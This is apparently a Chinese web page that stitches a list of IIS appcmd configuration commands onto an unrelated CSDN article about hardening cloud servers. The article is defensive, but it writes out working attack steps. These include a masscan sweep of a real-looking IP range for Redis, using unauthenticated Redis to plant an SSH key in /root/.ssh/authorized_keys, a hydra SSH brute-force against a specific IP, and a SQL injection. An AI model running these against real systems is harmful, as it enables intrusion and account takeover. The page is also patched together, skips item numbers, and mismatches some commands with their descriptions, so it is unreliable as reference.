Windows server 2022+IIS10中一些 appcmd 的組合命令:
修改特定網(wǎng)站的身份驗證設(shè)置,例如啟用 Windows 身份驗證:
Copy Code
appcmd set config /section:windowsAuthentication /+"[enabled='true']"
設(shè)置特定應(yīng)用程序池的自動回收設(shè)置,例如啟用定時回收:
Copy Code
appcmd set apppool /apppool.name:DefaultAppPool /recycling.logEventOnRecycle:Time,Requests
啟用或禁用特定網(wǎng)站的 URL 重寫功能:
Copy Code
appcmd set config /section:rewrite/globalRules /+"[name='Redirect to HTTPS',patternSyntax='Wildcard',stopProcessing='True']"
修改輸出緩沖區(qū)設(shè)置,例如增加響應(yīng)緩沖區(qū)大小:
Copy Code
appcmd set config /section:serverRuntime /responseBufferLimit:4194304
創(chuàng)建一個新的虛擬目錄并設(shè)置訪問權(quán)限:
Copy Code
appcmd add vdir /app.name:DefaultWebSite/MyApp /path:/images /physicalPath:C:\inetpub\wwwroot\images appcmd set config "Default Web Site/images" -section:system.webServer/directoryBrowse /enabled:"True"
設(shè)置網(wǎng)站的 HTTP Header 信息,例如添加自定義的 HTTP Header:
Copy Code
appcmd set config /section:httpProtocol /+"customHeaders.[name='X-Frame-Options',value='SAMEORIGIN']"
這些命令能夠幫助你在 IIS 中進行更加細致和個性化的配置管理。
作者 | 阿文
責編 | maozz
出品 | CSDN(ID:CSDNnews)
隨著虛擬化技術(shù)的蓬勃發(fā)展,近幾年云計算產(chǎn)業(yè)規(guī)模不斷壯大,各行業(yè)的數(shù)據(jù)量激增,通過云計算挖掘數(shù)據(jù)價值,以及企業(yè)IT基礎(chǔ)架構(gòu)向云遷移已經(jīng)成為主流趨勢。
國務(wù)院發(fā)展研究中心國際技術(shù)經(jīng)濟研究所近日發(fā)布的《中國云計算產(chǎn)業(yè)發(fā)展白皮書》顯示,2018年中國云計算產(chǎn)業(yè)規(guī)模已經(jīng)達到962.8億元;預計2023年,中國云計算產(chǎn)業(yè)規(guī)模將超過3000億元。
大量的企業(yè)將數(shù)據(jù)遷移到云上,帶來的網(wǎng)絡(luò)安全問題卻日益凸顯,以云計算行業(yè)巨頭阿里云為例,每天遭受攻擊的次數(shù)就高達 50 億次,這些攻擊包括通過系統(tǒng)漏洞進行提權(quán)、DDOS攻擊、CC 攻擊、暴力破解,入侵成功對數(shù)據(jù)進行加密、植入木馬或挖礦程序等手段非法牟利。
那么企業(yè)上云后應(yīng)該做哪些工作,才能避免被入侵而造成的不可估量的損失呢?
作為一名云計算行業(yè)的從業(yè)者,我見過太多企業(yè)的服務(wù)器被入侵后遭受嚴重損失的案例,在這里,我在這里和大家分享以下上云后的安全防護應(yīng)該如何做。
首先,大家要糾正一個觀念,那就是上云并非萬事大吉了。云計算提供的彈性伸縮和水平擴容大大縮減了企業(yè)運維人員的工作提升了效率,例如不用大老遠的跑到機房去升級操作系統(tǒng)、擴容硬件了。
但是對于操作系統(tǒng)自身的安全問題我相信任何一家云計算公司都不敢打包票說你買了我們的服務(wù)器就絕對不會遭受任何攻擊。一般他們會提供安全防護類的產(chǎn)品或建議,但是實際的安全策略部署還是需要自己去完成。
購買服務(wù)器后的當務(wù)之急
那么當你在云廠商購買一臺服務(wù)器之后,你必須要做的事情就是:
第一,修改你的遠程連接端口,例如 windows 的 3389,Linux 的 22 端口。應(yīng)用服務(wù)盡量不要對公網(wǎng)開放,尤其是中間件服務(wù),除了 web 服務(wù)所提供的 80,443 端口之外都應(yīng)該盡量不要對公網(wǎng)開放默認端口,例如 MySQL 的 3306 ,Redis 的 6379 等等。
因為互聯(lián)網(wǎng)上大量的入侵都是首先掃描到開放這些默認端口的機器,然后在探測是否存在已知的漏洞進而發(fā)起攻擊。
舉個例子,假如入侵者想入侵 redis 3.0 以下版本的 redis,攻擊者可以通過 nmap 或 masscan 這類掃描攻擊掃描某一個 IP 段是否開放以及根據(jù)你的服務(wù)器特征探測你的服務(wù)器是 Linux 還是 Windows來選擇以何種方式發(fā)起攻擊,以 masscan 為例,探測49.111.0.0/16網(wǎng)段內(nèi)是否有 redis 服務(wù)開啟默認 6379 端口。
masscan -p6379 49.111.0.0/16 --rate 10000 >> scan.txt
然后獲取到該網(wǎng)段開放了 6379 端口的 IP,并進行下一步判斷其是否有設(shè)置密碼,版本是否是 3.0 以下。執(zhí)行如下命令即可查看這臺 redis 的相關(guān)信息
./redis-cli -h IP info
然后判斷是否設(shè)置了密碼,如果沒有設(shè)置密碼,通過 redis 的持久化機制將入侵者的公鑰寫入到/.ssh 目錄
>config set dir /root/.ssh/
OK
> config set dbfilename authorized_keys
OK
> set xxx "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWuati70x2tsLBJ6FxDgK5NnRhUiIYMHEL9Nt0cwtOvlc8it7Ta9uSzQX6RV3hpF0Txg8/ARZaq75JyzN+1jsNh35mR49YWJloU8FbiI28IjdKAVvCOcAd/WWsPWrRIJPG38Z8Bu2xXBsNCmMwOtPd6VL4k9j6xmeA52PLe4wBJHZbGkPrbTxd7TTtvuWWmbx0dzvXBYCIalhVOJ7u5471tMBoCFGCYh5V8lzS0c4Hm3tf5SuQ8G3vWP8fLE6iUGen9rqBu+QNSxlYJSwz+O5T/ErFTFPZI3USQM7th1r6iY/Z8O7AzZlhXzPCHKcd/+8mzcEJ1JFU8m9gXgF6JwER ubuntu@ubuntu-xenial\n\n\n"
OK
> save
遭遇攻擊后應(yīng)該怎么辦?
如果你恰好 root 權(quán)限開放的,那么你這臺服務(wù)器就成功被入侵者提權(quán)了。從上面這個例子中,我們要防止這樣的入侵案例發(fā)生,除了修改默認端口還是遠遠不夠的。還需要養(yǎng)成定期更新你的系統(tǒng)和應(yīng)用軟件,因為舊版本軟件大多都會存在漏洞被攻擊者利用。
另外就是盡量不要以管理員權(quán)限運行一些應(yīng)用程序,例如Linux 使用 root 這樣的權(quán)限去運行程序。要以一個普通用戶運行指定程序,防止被提權(quán)。
禁止密碼登錄,改為更安全的密鑰登錄。密鑰采用rsa非對稱加密算法,并設(shè)置大于 2048 位以上密鑰,安全系數(shù)更高。因為如果采用密碼登錄,入侵者只要密碼字典足夠強大,機器運算能力夠強是可以非常輕松的破解的,例如通過 hydra 來暴力破解密碼
hydra -s 22 -v -l root -P pass.txt 49.111.95.153 ssh
以 Linux 為例,修改/etc/ssh/sshd_config 中的
PermitRootLogin yes 為 no
LoginGraceTime 30
PasswordAuthentication yes 為 no
MaxAuthTries 3 # 限制最大重試次數(shù)
Protocol 2
`LoginGraceTime` 允許一次登錄花費 30 秒;如果用戶花費的時間超過 30 秒,就不允許他訪問,必須重新登錄。`MaxAuthTries` 把錯誤嘗試的次數(shù)限制為 3 次,3 次之后拒絕登錄嘗試。上面的 `Protocol 2` 行禁止使用比較弱的協(xié)議。
最后一行不允許任何人作為根用戶登錄,這會讓黑客攻擊更困難。還可以使用 `DenyUsers`、`AllowUsers`、`DenyGroups` 和 `AllowGroups` 選項實現(xiàn)其他限制。這些修改不會顯著增強計算機的安全性,但是只嘗試強力攻擊標準端口 22 的一般腳本會失敗,不會造成損害。
第二,除非有必要,最小化對外暴露端口,千萬不要將所有端口都設(shè)置端口放行為 0.0.0.0/0 這樣的規(guī)則。這樣就像皇帝的新裝,完全把自己暴露在外面給人看的一干二凈了。
除了 80、443 這樣的必須要對外開放訪問權(quán)限的端口,其他服務(wù)都在相對安全的內(nèi)網(wǎng)環(huán)境中運行,這樣的優(yōu)勢是除了提升了安全性還防止跨鏈路帶來的帶寬損耗,提升訪問速度。例如web 服務(wù)調(diào)用后端 MySQL,如果通過公網(wǎng)訪問,速度肯定不及同一個局域網(wǎng)內(nèi)互相訪問的快。
第四,自身程序的安全防護措施要做好,比如在設(shè)計系統(tǒng)時就要多考慮一下安全問題,例如防止被注入,可以通過 sqlmap 來掃描下自己的數(shù)據(jù)庫是否存在被入侵的可能。例如如下代碼段
uname = request.POST['username']
password = request.POST['password']
sql = "SELECT all FROM users WHERE username='" + uname + "' AND password='" + password + "'"
database.execute(sql)
上面這段程序直接將客戶端傳過來的數(shù)據(jù)寫入到數(shù)據(jù)庫。試想一下,如果用戶傳入的 password 值是:"password’ OR 1=1",那么 sql 語句便會變成:
sql = "SELECT all FROM users WHERE username='username' AND password='password' OR 1=1"
那么,這句 sql 無論 username 和 password 是什么都會執(zhí)行,從而將所有用戶的信息取出來。
同時還需要防止針對頁面的一些攻擊,例如 XSS 攻擊、CSRF 跨域攻擊等等。對于一些頁面DNS 污染攻擊,可以采用 HTTPS 來防止頁面內(nèi)容被篡改。在使用 HTTPS 時盡量使用 TLS1.2+版本的協(xié)議,并使用加密性非常好的算法。
ssl_ciphers EECDH+CHACHA20:EECDH+CHACHA20-draft:EECDH+ECDSA+AES128:EECDH+aRSA+AES128:RSA+AES128:EECDH+ECDSA+AES256:EECDH+aRSA+AES256:RSA+AES256:EECDH+ECDSA+3DES:EECDH+aRSA+3DES:RSA+3DES:TLS-CHACHA20-POLY1305-SHA256:TLS-AES-256-GCM-SHA384:TLS-AES-128-GCM-SHA256:EECDH+CHACHA20:EECDH+AESGCM:EECDH+AES:HIGH:!a:!e:!EXPORT:!DES:!RC4:!MD5:!PSK:!KRB5:!aECDH:!EDH+3DES;
第五,如果遭受 DDOS 攻擊,可以考慮購買一些防護服務(wù)來解決,避免業(yè)務(wù)受損。
要防止被攻擊不僅僅是做到如上這些,還應(yīng)當加強對系統(tǒng)各項指標的監(jiān)控,例如文件權(quán)限、系統(tǒng)利用率、日志采集等等措施,防范于未然。
聲明:本文系作者獨立觀點,不代表CSDN立場。
【End】